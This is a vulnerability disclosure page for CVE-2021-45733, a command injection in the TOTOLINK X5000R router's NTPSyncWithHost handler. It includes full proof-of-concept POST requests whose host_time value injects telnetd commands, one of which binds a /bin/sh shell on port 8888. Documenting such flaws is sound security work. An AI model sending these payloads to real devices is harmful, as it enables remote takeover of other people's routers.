Headline

CVE-2021-45733: my_vuln/7.md at main · pjqwudi/my_vuln

TOTOLINK X5000R v9.1.0u.6118_B20201102 was discovered to contain a command injection vulnerability in the function NTPSyncWithHost. This vulnerability allows attackers to execute arbitrary commands via the parameter host_time.

2 years ago

CVE

Open in Source

#vulnerability #ubuntu #linux #js #git #java

TOTOLINK Vulnerability

Vendor:TOTOLINK

Product:X5000R

Version:X5000R_Firmware(V9.1.0u.6118_B20201102)

Type:Remote Command Execution

Author:Jiaqian Peng,Huizhao Wang

Institution:[email protected],[email protected]

Vulnerability description

We found an Command Injection vulnerability in TOTOLINK Technology router with firmware which was released recently，allows remote attackers to execute arbitrary OS commands from a crafted request.

Remote Command Execution

In cstecgi.cgi binary:

In NTPSyncWithHost function,host_time is directly passed by the attacker, so we can control the host_time to attack the OS.

Supplement

in the program. In order to avoid such problems, we believe that the string content should be checked in the input extraction part.

PoC

We set host_time as ‘;/usr/sbin/telnetd;’ , and the router will excute it, such as:

POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 66 Origin: http://192.168.0.1 Connection: close Referer: http://192.168.0.1/advance/time.html?time=1639032360781 Cookie: SESSION_ID=2:1420071268:2

{"host_time":"’;/usr/sbin/telnetd;’","topicurl":"NTPSyncWithHost"}

We set host_time as ‘;telnetd -l /bin/sh -p 8888 -b 0.0.0.0;’ , and the router will excute it,such as:

POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 86 Origin: http://192.168.0.1 Connection: close Referer: http://192.168.0.1/advance/time.html?time=1639032360781 Cookie: SESSION_ID=2:1420071268:2

{"host_time":"’;telnetd -l /bin/sh -p 8888 -b 0.0.0.0;’","topicurl":"NTPSyncWithHost"}